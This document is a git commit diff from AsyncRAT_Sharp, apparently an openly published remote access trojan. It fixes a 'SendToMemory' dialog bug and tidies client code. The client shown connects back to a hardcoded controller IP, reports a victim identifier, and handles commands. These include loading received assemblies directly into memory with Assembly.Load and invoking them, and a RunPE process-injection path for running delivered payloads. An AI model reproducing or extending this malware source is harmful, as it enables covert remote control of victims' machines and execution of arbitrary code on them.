Clean the code.
Fixed SendToMemory dialog bug.
This commit is contained in:
NYAN CAT 2019-02-06 08:11:10 -08:00
parent e9d1f6932c
commit cda9bb7d43
5 changed files with 67 additions and 57 deletions

View File

@ -217,6 +217,8 @@ namespace AsyncRAT_Sharp
{ {
SendFileToMemory SF = new SendFileToMemory(); SendFileToMemory SF = new SendFileToMemory();
SF.ShowDialog(); SF.ShowDialog();
if (SF.toolStripStatusLabel1.Text.Length > 0 && SF.toolStripStatusLabel1.ForeColor == Color.Green)
{
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendMemory"; msgpack.ForcePathObject("Packet").AsString = "sendMemory";
msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString())); msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString()));
@ -240,6 +242,7 @@ namespace AsyncRAT_Sharp
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
}); });
} }
}
SF.Close(); SF.Close();
} }
} }

View File

@ -21,6 +21,8 @@
<DefineConstants>DEBUG;TRACE</DefineConstants> <DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport> <ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel> <WarningLevel>4</WarningLevel>
<DocumentationFile>
</DocumentationFile>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>x86</PlatformTarget> <PlatformTarget>x86</PlatformTarget>

View File

@ -23,6 +23,7 @@ using System.Security.Cryptography;
namespace Client namespace Client
{ {
/// The Main Settings
class Settings class Settings
{ {
public static readonly string IP = "127.0.0.1"; public static readonly string IP = "127.0.0.1";
@ -30,6 +31,8 @@ namespace Client
public static readonly string Version = "0.2.2"; public static readonly string Version = "0.2.2";
} }
/// The Main Class
/// Contains all methods for socket and reading the packets
class Program class Program
{ {
public static Socket Client { get; set; } public static Socket Client { get; set; }
@ -49,6 +52,7 @@ namespace Client
} }
} }
/// Initialization variables and connect to socket.
public static void InitializeClient() public static void InitializeClient()
{ {
try try
@ -80,6 +84,7 @@ namespace Client
} }
} }
/// Cleanup everything and start to connect again.
public static void Reconnect() public static void Reconnect()
{ {
if (Client.Connected) return; if (Client.Connected) return;
@ -88,11 +93,8 @@ namespace Client
try try
{ {
if (Client != null) Client?.Close();
{ Client?.Dispose();
Client.Close();
Client.Dispose();
}
} }
catch { } catch { }
@ -101,6 +103,7 @@ namespace Client
InitializeClient(); InitializeClient();
} }
/// Method to send our ID to server's listview.
private static byte[] SendInfo() private static byte[] SendInfo()
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
@ -132,6 +135,8 @@ namespace Client
return strResult.ToString().Substring(0, 12).ToUpper(); return strResult.ToString().Substring(0, 12).ToUpper();
} }
/// get the length of the buffer by reading byte by byte [1]
/// until we get the full size.
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar)
{ {
try try
@ -195,6 +200,7 @@ namespace Client
} }
} }
/// Handle the packet
public static void Read(object Data) public static void Read(object Data)
{ {
try try
@ -245,7 +251,6 @@ namespace Client
thread = new Thread(new ParameterizedThreadStart(RunPE)); thread = new Thread(new ParameterizedThreadStart(RunPE));
} }
thread.Start(parameters); thread.Start(parameters);
} }
break; break;
@ -304,8 +309,7 @@ namespace Client
private static void SendToMemory(object obj) private static void SendToMemory(object obj)
{ {
object[] Obj = (object[])obj; object[] Obj = (object[])obj;
var Buffer = (byte[])Obj[0]; byte[] Buffer = (byte[])Obj[0];
var Injection = (string)Obj[1];
Assembly Loader = Assembly.Load(Buffer); Assembly Loader = Assembly.Load(Buffer);
object[] Parameters = null; object[] Parameters = null;
if (Loader.EntryPoint.GetParameters().Length > 0) if (Loader.EntryPoint.GetParameters().Length > 0)
@ -313,7 +317,6 @@ namespace Client
Parameters = new object[] { new string[] { null } }; Parameters = new object[] { new string[] { null } };
} }
Loader.EntryPoint.Invoke(null, Parameters); Loader.EntryPoint.Invoke(null, Parameters);
} }
private static void RunPE(object obj) private static void RunPE(object obj)
@ -338,6 +341,8 @@ namespace Client
BeginSend(msgpack.Encode2Bytes()); BeginSend(msgpack.Encode2Bytes());
} }
/// Send
/// adding the buffersize in the beginning of the stream
public static void BeginSend(byte[] buffer) public static void BeginSend(byte[] buffer)
{ {
lock (SendSync) lock (SendSync)